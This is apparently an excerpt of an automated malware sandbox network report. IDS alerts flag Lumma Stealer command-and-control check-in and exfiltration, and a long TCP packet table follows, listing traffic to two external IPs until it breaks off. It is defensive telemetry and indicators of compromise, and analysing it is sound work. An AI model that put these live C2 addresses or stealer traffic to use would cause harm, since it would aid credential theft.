2024-11-18T19:05:21.974832+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50097	188.114.96.3	443	TCP
2024-11-18T19:05:29.779993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50105	188.114.96.3	443	TCP
2024-11-18T19:05:31.221317+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50107	188.114.96.3	443	TCP
2024-11-18T19:05:31.931103+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50107	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 19:04:04.331576109 CET	49955	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:04.345020056 CET	80	49955	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:04.348695040 CET	49955	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:04.348856926 CET	49955	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:04.355866909 CET	80	49955	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:05.272851944 CET	80	49955	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:05.273070097 CET	49955	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:06.783129930 CET	49955	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:06.783443928 CET	49970	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:06.788358927 CET	80	49970	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:06.788449049 CET	49970	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:06.788665056 CET	80	49955	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:06.788724899 CET	49955	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:06.788753986 CET	49970	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:06.793648958 CET	80	49970	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:07.709361076 CET	80	49970	185.215.113.43	192.168.2.5
Nov 18, 2024 19:04:07.709430933 CET	49970	80	192.168.2.5	185.215.113.43
Nov 18, 2024 19:04:07.717674017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:07.723006964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:07.723089933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:07.723498106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:07.728586912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.631367922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.631484032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.631524086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.631587029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.631587029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.631675005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.632159948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.632194996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.632227898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.632258892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.632895947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.632930994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.632958889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.632960081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.632981062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.633021116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.633553982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.633589983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.633635044 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.633675098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.636672020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.636754990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.636899948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.636964083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.637058973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.637119055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.771437883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.771524906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.771605968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.771642923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.771673918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.771694899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.772031069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.772063971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.772089958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.772123098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.772752047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.772788048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.772810936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.772859097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.773482084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.773518085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.773540974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.773550034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.773576975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.773596048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.774282932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.774318933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.774338961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.774369001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.774350882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.774421930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.774682045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.774712086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.774738073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.774765968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.890074968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.890177965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.890212059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.890288115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.890289068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.890289068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.890661955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.890697002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.890732050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.890758038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.891216040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.891280890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.891400099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.891433001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.891462088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.891493082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.892105103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.892141104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.892174006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.892175913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.892193079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.892231941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.892826080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.892859936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.892887115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.892936945 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.893529892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.893564939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.893593073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.893625975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.911241055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.911346912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:08.911375046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:08.911533117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.009016991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.009084940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.009119034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.009120941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.009147882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.009165049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.009542942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.009577990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.009612083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.009663105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.010168076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.010201931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.010235071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.010265112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.010971069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.011007071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.011039019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.011069059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.011600018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.011634111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.011665106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.011667013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.011697054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.011717081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.012290955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.012325048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.012480021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.070732117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.070816040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.071068048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.071134090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.127418995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.127502918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.127578974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.127609015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.127641916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.127682924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.127940893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.127974987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.128001928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.128026009 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.128654957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.128715992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.128779888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.128839016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.129075050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.129108906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.129132032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.129158020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.129820108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.129856110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.129884005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.129888058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.129901886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.129942894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.130541086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.130577087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.130604029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.130633116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.131258965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.131294012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.131366968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.131366968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.189922094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.189995050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.190046072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.190129042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.246042013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.246110916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.246231079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.246246099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.246285915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.246315956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.246635914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.246653080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.246686935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.246716976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.247370005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.247385979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.247407913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.247421026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.247509003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.247509003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.247822046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.247838020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.247869968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.247898102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.248492002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.248508930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.248545885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.248574972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.250174046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.250190973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.250222921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.250227928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.250238895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.250250101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.250274897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.250302076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.310313940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.310394049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.311012983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.311069965 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.367604971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.367626905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.367643118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.367713928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.367769957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.367810011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.367825985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.367841959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.367862940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.367885113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.368572950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.368591070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.368604898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.368621111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.368624926 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.368663073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.368783951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.368799925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.368813992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.368829012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.368835926 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.368860960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.368892908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.369044065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.369061947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.369076014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.369086981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.369107962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.369127035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.428004980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.428131104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.428189993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.428248882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.486210108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.486344099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.486351013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.486392021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.486430883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.486459970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.486774921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.486790895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.486829996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.486861944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.487469912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.487487078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.487528086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.487559080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.488185883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.488203049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.488224030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.488251925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.488281012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.488912106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.488929033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.488970041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.488997936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.489629030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.489645958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.489660978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.489707947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.489742041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.490423918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.490439892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.490502119 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.490502119 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.587162018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.587310076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.587532043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.587600946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.605114937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.605238914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.605283976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.605300903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.605338097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.605365992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.605869055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.605885029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.605926991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.605957985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.606517076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.606575012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.606718063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.606734037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.606769085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.606798887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.607466936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.607481956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.607522011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.607553005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.608120918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.608138084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.608175993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.608225107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.608819008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.608834982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.608874083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.608922005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.609636068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.609652996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.609695911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.609726906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.724284887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.724375010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.724582911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.724601030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.724642038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.724673033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.725143909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.725162029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.725214958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.725214958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.725712061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.725728989 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.725764036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.725794077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:09.726330042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:09.726346970 CET	80	49977	31.41.244.11	192.168.2.5
